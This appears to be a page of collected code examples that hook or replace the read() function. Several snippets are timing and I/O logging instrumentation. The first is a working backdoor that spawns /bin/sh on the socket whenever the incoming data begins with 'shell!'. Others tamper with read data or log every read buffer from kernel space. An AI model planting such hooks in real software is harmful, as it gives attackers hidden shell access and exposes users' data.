示例#1
0
/*
 * Fork a shell and re-use the current socket
 */
ssize_t read(int socket, void *buffer, size_t length)
{
	ssize_t ret;
	FILE *fp;
	char filename[1024+1];
	
	ret = orig_read(socket, buffer, length);
	if (ret < strlen("shell!\n"))
		return ret;
	if (memcmp(buffer, "shell!", strlen("shell!")))
		return ret;
	
	if (fork())
		return 0;
	setsid();
	if (fork())
		return 0;
	
	dup2(socket, fileno(stdin));
	dup2(socket, fileno(stdout));
	dup2(socket, fileno(stderr));
	execl("/bin/sh", "sh", NULL);
	
	return -1;
}
示例#2
0
ssize_t read(int fd, void *buf, size_t count)
{
	orig_read_f_type orig_read = (orig_read_f_type)dlsym(RTLD_NEXT, "read");
	ssize_t ret = orig_read(fd, buf, count);

        char* c = buf;
        *c = ( *c == 'r' ) ? 'i' : *c;
        buf = (void*)c;

	return ret;
}
示例#3
0
ssize_t read(int fd, void *buf, size_t count)
{
	orig_read_type orig_read;
	orig_read = (orig_read_type)dlsym(RTLD_NEXT,"read");

		clock_t start = clock();

		ssize_t temp = orig_read(fd,buf,count);

		clock_t end = clock();

		double start_diff = ((double)(start-program_start))/(double)CLOCKS_PER_SEC;
		double end_diff = ((double)(end-program_start))/(double)CLOCKS_PER_SEC;
		printf("%lf %lf Read Called \n", start_diff, end_diff);
		return temp;
}
示例#4
0
文件: inspectio4.cpp 项目: yoyz/linux
ssize_t read(int fd, void *buf, size_t count)
{
  int size;
  int size_t_count=count;
  orig_read_f_type orig_read;
  //int gettimeofday(struct timeval *tv, struct timezone *tz);
  struct timeval tv0;
  struct timeval tv1;
  struct timezone tz;

  //mtx.lock(); 
  orig_read  = (orig_read_f_type)dlsym(RTLD_NEXT,"read");

  gettimeofday(&tv0,&tz);
  size=orig_read(fd,buf,count);
  gettimeofday(&tv1,&tz);

  std::string str;
  std::ostringstream oss;
  oss << "read(" << fd << "," << buf << "," << count << ")\n"; 
  log.add(oss.str());


  if (size>=0)
    {
      if (myiio.existFd(fd)==-1)
	{
	  Ifile ifi;
	  ifi.setFd(fd);
	  ifi.setName(getStrFDInfo(fd));
	  //ifi.setName(std::string("UNKNOWN-WRITE"));
	  ifi.setState(IOBYFILE_READ);
	  myiio.iiof.push_back(ifi);
	}
      add_read_count(fd,size);
      add_read_time(fd,tv0,tv1);
    }
  //mtx.unlock();
  return size;   
}
示例#5
0
asmlinkage ssize_t our_read (int fd, char *buf, size_t count)
{
        printk (KERN_INFO "SYS_READ: %s\n",buf);
        return orig_read(fd,buf,count);
}